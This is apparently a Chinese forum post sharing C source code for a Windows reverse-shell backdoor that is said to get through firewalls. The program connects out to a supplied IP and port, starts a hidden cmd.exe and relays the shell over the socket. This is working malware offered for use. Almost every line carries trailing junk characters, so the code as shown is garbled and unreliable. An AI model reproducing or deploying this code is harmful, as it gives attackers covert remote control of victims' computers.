这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 d=n@#|3
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/* ============================== P`ou:M{8
Rebound port in Windows NT i84!x%|P
By wind,2006/7 V
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===============================*/ <)p.GAZ
#include s/=% kCo
#include WFiX=@SS
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#pragma comment(lib,"wsock32.lib") ~N/r;omVc
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void OutputShell(); ~\mh\a&
SOCKET sClient; ."H;bfcL_
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; :{#O
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void main(int argc,char **argv) UWF
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{ :oXSh;\
WSADATA stWsaData; t|$jgM
int nRet; +?Ii=* 7n
SOCKADDR_IN stSaiClient,stSaiServer; ?0_<u4
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if(argc != 3) HJ]xZ83pC
{ ;U|(rM;
printf("Useage:\n\rRebound DestIP DestPort\n"); bDM },(
return; a$"nNm D?
} w.-x2Zg},
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WSAStartup(MAKEWORD(2,2),&stWsaData); jZ|M$I3*
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $G-<kC}8:
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stSaiClient.sin_family = AF_INET; b2OwLt9
stSaiClient.sin_port = htons(0); $Lr&V~
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Sv T0%2
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR)
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{ 1EXT^2!D
printf("Bind Socket Failed!\n"); ^Hv&{r77
return; 2n,z`(=
} J,
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stSaiServer.sin_family = AF_INET; y#j7vO
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); taE
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); nzC *mPX8
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) B/wD~xC?x
{ YGJ!!(~r
printf("Connect Error!"); |%C2 cx
return; gsbr8zwG,
} xoKK{&J
OutputShell(); `NNP<z+\
} uu.X>agg
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void OutputShell() 9wYm(7M6
{ |9jK-F6
char szBuff[1024]; pUHgjwT'U
SECURITY_ATTRIBUTES stSecurityAttributes; NPK;
OSVERSIONINFO stOsversionInfo; uge r:cD
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 9;+&}:IVS
STARTUPINFO stStartupInfo; /oT~CB..
char *szShell; ubM1Q r
PROCESS_INFORMATION stProcessInformation; `;j1H<L
unsigned long lBytesRead; k24I1DlR8
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ,^([aK
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); gw)4P tb!
stSecurityAttributes.lpSecurityDescriptor = 0; Cw,a)XB
stSecurityAttributes.bInheritHandle = TRUE; <D.E.^Y
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); uOA/r@7I}S
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); }_nBegv
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ni/s/^
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R4'.QZ-x
stStartupInfo.wShowWindow = SW_HIDE; G<?RH"RZr
stStartupInfo.hStdInput = hReadPipe; ,/?J!W@m
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; sE?%;uBb
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GetVersionEx(&stOsversionInfo); 4;6"I2;zfG
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switch(stOsversionInfo.dwPlatformId) 8xLQ"
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{ ,7B7X)m{3
case 1: zIF1A*UH
szShell = "command.com"; Xex7Lr&
break; !0l|[c4 e>
default: 16AlmegDk
szShell = "cmd.exe"; jWUrw
break; \^(#b,k#
} 7KlL%\
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); jwk+&S
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send(sClient,szMsg,77,0); ? X8`+`nh
while(1) >&.N_,*
{ wo&IVy@s$
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); z -?\b^
if(lBytesRead) &>c=/]Lop
{ /(~
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); %g7j7$c
send(sClient,szBuff,lBytesRead,0); ;j T{<
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} @wXYza0|d
else ^6l5@#)w
{ MEI&]qI
lBytesRead=recv(sClient,szBuff,1024,0); &3iI\s[
if(lBytesRead<=0) break; a0ms9%Y;Q[
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); hWt_}'
} 1Lf -
} <IZr..|O
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return; 7oE:]
}